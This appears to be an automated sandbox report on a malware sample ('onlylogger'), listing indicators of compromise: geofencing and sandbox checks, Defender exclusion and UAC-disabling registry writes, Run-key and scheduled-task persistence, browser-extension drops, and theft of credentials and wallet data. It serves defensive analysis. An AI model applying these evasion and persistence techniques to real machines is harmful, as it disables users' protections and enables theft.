onlylogger | f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786

System Information Discovery

Processes:

HIGKDltXPdOvW8Hm8aH8tqf_.exeInstall.exetzE7kE67telz5xEatq1E9Q77.exe0MinNqKngefurNfEwfD03Xgh.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	HIGKDltXPdOvW8Hm8aH8tqf_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	HIGKDltXPdOvW8Hm8aH8tqf_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tzE7kE67telz5xEatq1E9Q77.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tzE7kE67telz5xEatq1E9Q77.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0MinNqKngefurNfEwfD03Xgh.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0MinNqKngefurNfEwfD03Xgh.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

arnatic_6.exeivZk3L1c3LGN1RWEk4sFORzf.exeAdvancedRun.exeFaYEc4gGZEQdvkW7Ol7GE7XI.exeQB641z1VCv6PieD_nvdbLQmw.exevcXMy6mUwboWv_szOcyBUEpf.exef883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exeEeeMGdin0VHsRA2MlIjatE15.exe7YaLeLwu02XjO_quV82dzZTC.exeInstall.exeqGLuoNtzdkcemuUAm692qDMb.exeyADUnMP.exearnatic_3.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	arnatic_6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	ivZk3L1c3LGN1RWEk4sFORzf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	AdvancedRun.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	FaYEc4gGZEQdvkW7Ol7GE7XI.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	QB641z1VCv6PieD_nvdbLQmw.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	vcXMy6mUwboWv_szOcyBUEpf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	f883b3d20d7e4d99d38f3ec887165d066b359494bf6692631ceb38a99e298786.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	EeeMGdin0VHsRA2MlIjatE15.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	7YaLeLwu02XjO_quV82dzZTC.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	qGLuoNtzdkcemuUAm692qDMb.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	yADUnMP.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	arnatic_3.exe

Loads dropped DLL 29 IoCs

Processes:

setup_install.exearnatic_2.exerUNdlL32.eXeJJb6a0jUlilUftTN5Hsgbuwt.exeFaYEc4gGZEQdvkW7Ol7GE7XI.exeQB641z1VCv6PieD_nvdbLQmw.exeSta.exe.pifrundll32.exe

pid	process
1688	setup_install.exe
1688	setup_install.exe
1688	setup_install.exe
1688	setup_install.exe
1688	setup_install.exe
1688	setup_install.exe
2412	arnatic_2.exe
4012	rUNdlL32.eXe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
1848	JJb6a0jUlilUftTN5Hsgbuwt.exe
4252	FaYEc4gGZEQdvkW7Ol7GE7XI.exe
4252	FaYEc4gGZEQdvkW7Ol7GE7XI.exe
3296	QB641z1VCv6PieD_nvdbLQmw.exe
3296	QB641z1VCv6PieD_nvdbLQmw.exe
1328	Sta.exe.pif
1328	Sta.exe.pif
1328	Sta.exe.pif
1328	Sta.exe.pif
1328	Sta.exe.pif
1328	Sta.exe.pif
2188	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 5 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

7YaLeLwu02XjO_quV82dzZTC.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	7YaLeLwu02XjO_quV82dzZTC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1"	7YaLeLwu02XjO_quV82dzZTC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	7YaLeLwu02XjO_quV82dzZTC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	7YaLeLwu02XjO_quV82dzZTC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\7YaLeLwu02XjO_quV82dzZTC.exe = "0"	7YaLeLwu02XjO_quV82dzZTC.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

vcXMy6mUwboWv_szOcyBUEpf.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bzoggjad = "\"C:\\Users\\Admin\\AppData\\Roaming\\Trcysqsq\\Bzoggjad.exe\""	vcXMy6mUwboWv_szOcyBUEpf.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 5 IoCs

evasion trojan

System Information Discovery

Processes:

HIGKDltXPdOvW8Hm8aH8tqf_.exe7YaLeLwu02XjO_quV82dzZTC.exetzE7kE67telz5xEatq1E9Q77.exe0MinNqKngefurNfEwfD03Xgh.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	HIGKDltXPdOvW8Hm8aH8tqf_.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7YaLeLwu02XjO_quV82dzZTC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7YaLeLwu02XjO_quV82dzZTC.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tzE7kE67telz5xEatq1E9Q77.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0MinNqKngefurNfEwfD03Xgh.exe

Drops Chrome extension 2 IoCs

Processes:

yADUnMP.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	yADUnMP.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	yADUnMP.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

yADUnMP.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini yADUnMP.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip-api.com
25 ipinfo.io
26 ipinfo.io
151 ipinfo.io

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	yADUnMP.exe

flow	ioc
10	ip-api.com
25	ipinfo.io
26	ipinfo.io
151	ipinfo.io

Drops file in System32 directory 33 IoCs

Processes:

yADUnMP.exepowershell.exeiwFKFTo.exepowershell.exeInstall.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_463197BCFA59510875AC26CD4321C84A	yADUnMP.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	iwFKFTo.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\42F5672C93743CEB7A490AEA00E50796	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	yADUnMP.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_27C6E56C6759C8BA5A715714DF762193	yADUnMP.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	iwFKFTo.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_4F1D13A8A8528E2335ABDA2526F2D650	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_463197BCFA59510875AC26CD4321C84A	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4F1D13A8A8528E2335ABDA2526F2D650	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_27C6E56C6759C8BA5A715714DF762193	yADUnMP.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	yADUnMP.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\42F5672C93743CEB7A490AEA00E50796	yADUnMP.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

J9wjv0k89zcQR66robnAyjye.exeFaYEc4gGZEQdvkW7Ol7GE7XI.exexw2laMmZIe_eM4ir7r2er0h6.exe

pid process

1884 J9wjv0k89zcQR66robnAyjye.exe
4252 FaYEc4gGZEQdvkW7Ol7GE7XI.exe
4376 xw2laMmZIe_eM4ir7r2er0h6.exe

pid	process
1884	J9wjv0k89zcQR66robnAyjye.exe
4252	FaYEc4gGZEQdvkW7Ol7GE7XI.exe
4376	xw2laMmZIe_eM4ir7r2er0h6.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

arnatic_7.exeHIGKDltXPdOvW8Hm8aH8tqf_.exe0MinNqKngefurNfEwfD03Xgh.exetzE7kE67telz5xEatq1E9Q77.exeUZXmJGiLSJAHC_X3ug4ikM6M.exe7YaLeLwu02XjO_quV82dzZTC.exevcXMy6mUwboWv_szOcyBUEpf.exeSta.exe.pif

description	pid	process	target process
PID 1164 set thread context of 2476	1164	arnatic_7.exe	arnatic_7.exe
PID 4308 set thread context of 5088	4308	HIGKDltXPdOvW8Hm8aH8tqf_.exe	AppLaunch.exe
PID 4140 set thread context of 3040	4140	0MinNqKngefurNfEwfD03Xgh.exe	AppLaunch.exe
PID 4148 set thread context of 4388	4148	tzE7kE67telz5xEatq1E9Q77.exe	AppLaunch.exe
PID 4332 set thread context of 4868	4332	UZXmJGiLSJAHC_X3ug4ikM6M.exe	UZXmJGiLSJAHC_X3ug4ikM6M.exe
PID 1364 set thread context of 5308	1364	7YaLeLwu02XjO_quV82dzZTC.exe	7YaLeLwu02XjO_quV82dzZTC.exe
PID 3332 set thread context of 5756	3332	vcXMy6mUwboWv_szOcyBUEpf.exe	vcXMy6mUwboWv_szOcyBUEpf.exe
PID 1328 set thread context of 2412	1328	Sta.exe.pif	Sta.exe.pif

Drops file in Program Files directory 14 IoCs

Processes:

yADUnMP.exe

description	ioc	process
File created	C:\Program Files (x86)\QMuGxDzxU\ACWmeV.dll	yADUnMP.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	yADUnMP.exe
File created	C:\Program Files (x86)\YhmfbgEUeceU2\CAeCGWlmWexVA.dll	yADUnMP.exe
File created	C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\JahYlkq.dll	yADUnMP.exe
File created	C:\Program Files (x86)\iTBLcazoBHNRC\ObkyWrY.xml	yADUnMP.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	yADUnMP.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	yADUnMP.exe
File created	C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\iQxIXWT.xml	yADUnMP.exe
File created	C:\Program Files (x86)\QMuGxDzxU\xROLWIq.xml	yADUnMP.exe
File created	C:\Program Files (x86)\YhmfbgEUeceU2\uyAJYQc.xml	yADUnMP.exe
File created	C:\Program Files (x86)\rYNYBiCjmUUn\ZawgOXz.dll	yADUnMP.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	yADUnMP.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	yADUnMP.exe
File created	C:\Program Files (x86)\iTBLcazoBHNRC\zWxVnTJ.dll	yADUnMP.exe

Drops file in Windows directory 5 IoCs

Processes:

7YaLeLwu02XjO_quV82dzZTC.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\66i2OKv6hdBe9X5H5.raw	7YaLeLwu02XjO_quV82dzZTC.exe
File created	C:\Windows\Tasks\booXbIzkEgfNdKvxAC.job	schtasks.exe
File created	C:\Windows\Tasks\CHeJVxoJwhzmREGSo.job	schtasks.exe
File created	C:\Windows\Tasks\cPyDayBYNpjUpuO.job	schtasks.exe
File created	C:\Windows\Tasks\oCvyuKWvFtUoYKNPA.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3512	4012	WerFault.exe	rUNdlL32.eXe
3280	3608	WerFault.exe	arnatic_1.exe
3356	1324	WerFault.exe	u46et6OITmm5k4SUpVSbV1nn.exe
3860	1324	WerFault.exe	u46et6OITmm5k4SUpVSbV1nn.exe
1184	4236	WerFault.exe
4300	4260	WerFault.exe
5868	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
5464	4260	WerFault.exe	6fnKlXYYVf3vSgXPLu6Id9r_.exe
5480	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
4832	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
4776	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
2132	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
4744	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
5324	4236	WerFault.exe	qGLuoNtzdkcemuUAm692qDMb.exe
4812	2412	WerFault.exe	Sta.exe.pif

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

Ztfglzprim.exearnatic_2.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ztfglzprim.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ztfglzprim.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ztfglzprim.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

QB641z1VCv6PieD_nvdbLQmw.exe6e4b9a19-a497-4a44-8854-9ff1d764d7da.exeJJb6a0jUlilUftTN5Hsgbuwt.exeFaYEc4gGZEQdvkW7Ol7GE7XI.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	QB641z1VCv6PieD_nvdbLQmw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	6e4b9a19-a497-4a44-8854-9ff1d764d7da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	6e4b9a19-a497-4a44-8854-9ff1d764d7da.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	JJb6a0jUlilUftTN5Hsgbuwt.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	JJb6a0jUlilUftTN5Hsgbuwt.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	FaYEc4gGZEQdvkW7Ol7GE7XI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FaYEc4gGZEQdvkW7Ol7GE7XI.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	QB641z1VCv6PieD_nvdbLQmw.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
5076	schtasks.exe
1996	schtasks.exe
4548	schtasks.exe
3600	schtasks.exe
1804	schtasks.exe
4340	schtasks.exe
4392	schtasks.exe
4300	schtasks.exe
5956	schtasks.exe
2576	schtasks.exe
3804	schtasks.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

6008 timeout.exe
1324 timeout.exe
5080 timeout.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

4328 tasklist.exe
4284 tasklist.exe

pid	process
6008	timeout.exe
1324	timeout.exe
5080	timeout.exe

pid	process
4328	tasklist.exe
4284	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

5944 taskkill.exe
5952 taskkill.exe
5220 taskkill.exe

pid	process
5944	taskkill.exe
5952	taskkill.exe
5220	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeyADUnMP.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	yADUnMP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{1385018a-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	yADUnMP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	yADUnMP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	yADUnMP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
